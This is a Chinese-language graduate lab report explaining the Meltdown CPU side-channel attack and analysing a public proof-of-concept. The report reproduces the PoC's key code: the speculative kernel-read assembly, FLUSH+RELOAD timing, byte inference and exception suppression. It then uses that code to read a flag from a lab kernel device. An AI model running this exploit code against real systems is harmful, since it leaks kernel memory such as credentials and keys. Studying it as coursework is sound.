meltdown 侧信道攻击实验报告
研究生一门课的一个作业。Meltdown 漏洞是一个很著名的漏洞,利用了缓存延时,很精妙。
攻击原理
正常情况下,用户程序访问内核地址会因为权限问题触发异常,从而无法达到目的。比如汇编语句 mov rax, byte [xxx],当 xxx 是内核地址时,用户执行这条指令会被 CPU 标记为非法,触发异常后会把 rax 清零。所以即使忽略掉异常,后续指令仍然无法得到内核地址 xxx 的内容。
上述的保护方式看起来十分坚固,但是 meltdown 攻击利用 CPU 会进行乱序执行的特点找到了突破口。如 C 语言语句 char data = *(char*) xxx; variable = arrary[data * 4096],转换成如下汇编语句。
mov rax, byte [xxx] // illegal
shl rax, 0xC // rax * 4096
mov rcx, [rbx + rax] // rbx = array, rcx = variable
CPU 乱序执行这段代码会让在第一条语句触发异常前,部分执行第二条、第三条语句。比如就有可能在触发异常前,CPU 已经计算好了 rbx + rax*4096,而这里的 rax 就是内核地址中的内容。但是异常触发后仍然是一切可利用的信息都会消失,比如上述语句中rax 和 rbx 都会被清零。
但是实际上,并不是所有可利用的消息都被清除掉了:假如 rbx + rax*4096 这一地址不在 cache 中,那么 CPU 会将这一地址放入 cache,并且异常触发不会从 cache 中擦除!
因此可以通过 cache 进行信息泄露,具体方式是判断数据访问时间的长短。数据在和不在 cache 中,访问该数据的时间相对来说是有不少差别的。方法的具体名称叫做 FLUSH + RELOAD,具体做法如下。
-
先清除掉 cache 内容,确保 array 即
rbx这一段内容都不在 cache 中 -
执行上述的汇编语句,执行完后可以保证
rbx + rax * 4096这段地址放入了 cache 中 -
从
rbx + 0*4096开始遍历整个 array,假如某个地址访问时间相对与其他地址时间较短,那么就可以推出rax,即内核地址内容
攻击方法
本次攻击使用了该项目的代码:paboldin/meltdown-exploit: Meltdown Exploit PoC (github.com)。下面主要是对该项目的攻击代码进行分析。
攻击流程
攻击流程分为清除 cache 内容,将数据放入 cache,获取访问数据时间,推断目标数据。最后对这几个部分进行汇总。
清除 cache 内容
void clflush_target(void)
{
for (int i = 0; i < VARIANTS_READ; i++)
_mm_clflush(&target_array[i * TARGET_SIZE]);
}
利用 _mm_clflush 即可实现该功能。
数据放入 cache
static void __attribute__((noinline))
speculate(unsigned long addr)
{
asm volatile (
"1:\n\t"
".rept 300\n\t"
"add $0x141, %%rax\n\t"
".endr\n\t"
"movzx (%[addr]), %%eax\n\t"
"shl $12, %%rax\n\t"
"jz 1b\n\t"
"movzx (%[target], %%rax, 1), %%rbx\n"
"stopspeculate: \n\t"
"nop\n\t"
:
: [target] "r" (target_array),
[addr] "r" (addr)
: "rax", "rbx"
);
}
- 第 11-14 行是攻击原理中所讲的代码,通过这段代码就可以让
rbx + rax*4096这一块地址放入 cache 中。 - 第 07-09 行是进行 300 次
add rax, 0x141,执行这段代码因为有依赖关系,所以会顺序执行。这样就确保执行第 11-14 行代码不会被前面的语句干扰到。
获取访问数据时间
static inline int
get_access_time(volatile char* addr)
{
unsigned long long time1, time2;
unsigned junk;
time1 = __rdtscp(&junk);
(void)* addr;
time2 = __rdtscp(&junk);
return time2 - time1;
}
rdtscp 函数通常用来测量代码的执行时间。rdtscp 含义是 read TSC(Time Stamp Counter) 寄存器。TSC 寄存器在每个 CPU 时钟信号到来时加 1。通过这个指令,我们可以获得纳秒级别的时间精度。
上述代码在执行两个 rdtscp 函数之间中把要访问的地址当成函数执行,从而可以得到访问目标地址所用的时间。
推断访问数据
void check(void)
{
int i, time, mix_i;
volatile char *addr;
for (i = 0; i < VARIANTS_READ; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = &target_array[mix_i * TARGET_SIZE];
time = get_access_time(addr);
if (time <= cache_hit_threshold)
hist[mix_i]++;
}
}
遍历 target_array 数组,并且计算访问时间,然后判断时间是否在预先设定的阈值内,若小于则记录一次。该阈值设定方法见其他注意点部分。
整体逻辑
#define CYCLES 1000
int readbyte(int fd, unsigned long addr)
{
int i, ret = 0, max = -1, maxi = -1;
static char buf[256];
memset(hist, 0, sizeof(hist));
for (i = 0; i < CYCLES; i++) {
ret = pread(fd, buf, sizeof(buf), 0);
clflush_target();
_mm_mfence();
speculate(addr);
check();
}
for (i = 1; i < VARIANTS_READ; i++) {
if (!isprint(i))
continue;
if (hist[i] && hist[i] > max) {
max = hist[i];
maxi = i;
}
}
return maxi;
}
执行多次清除cache→数据放入cache→获取访问时间→推断访问数据的流程。在推断访问流程即 check 函数中,每一个访问时间小于设定阈值的都会被记录一次。因此最终执行多次后,找到被记录最多次的数字,该数字即为该位置中的内容。
此外执行流程中执行了函数 __mm_mfence ,该函数作用是读写串行化,即防止 CPU 乱序执行指令,保证执行数据放入 cache 这一操作时不会被前面的指令干扰。其目的和数据放入 cache 的第 7-9 行功能一样。
其他注意点
这一部分讲一下其他的注意点,包括处理异常和设定时间阈值。
处理异常
int set_signal(void)
{
struct sigaction act = {
.sa_sigaction = sigsegv,
.sa_flags = SA_SIGINFO,
};
return sigaction(SIGSEGV, &act, NULL);
}
通过重载 sigaction 达到忽略异常的目的。
设定时间阈值
#define ESTIMATE_CYCLES 1000000
static void set_cache_hit_threshold(void)
{
long cached, uncached, i;
for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
get_access_time(target_array);
for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
cached += get_access_time(target_array);
for (uncached = 0, i = 0; i < ESTIMATE_CYCLES; i++) {
_mm_clflush(target_array);
uncached += get_access_time(target_array);
}
cached /= ESTIMATE_CYCLES;
uncached /= ESTIMATE_CYCLES;
cache_hit_threshold = mysqrt(cached * uncached);
}
即分别执行多次命中 cache 和 不命中 cache 的操作,得出命中和不命中的时间,阈值最终设定为这两者的乘积的平方根。设定该阈值准确度较高。
攻击结果
首先确定 /dev/memdev0 的内容,通过给的虚拟设备源码可以知道,该内容即为内核中 flag 的地址。
然后编译 meltdown 程序,执行该程序,传入对应的地址信息即可获取 flag。
最终的结果为 flag{cpu_side_channel_info_leak}。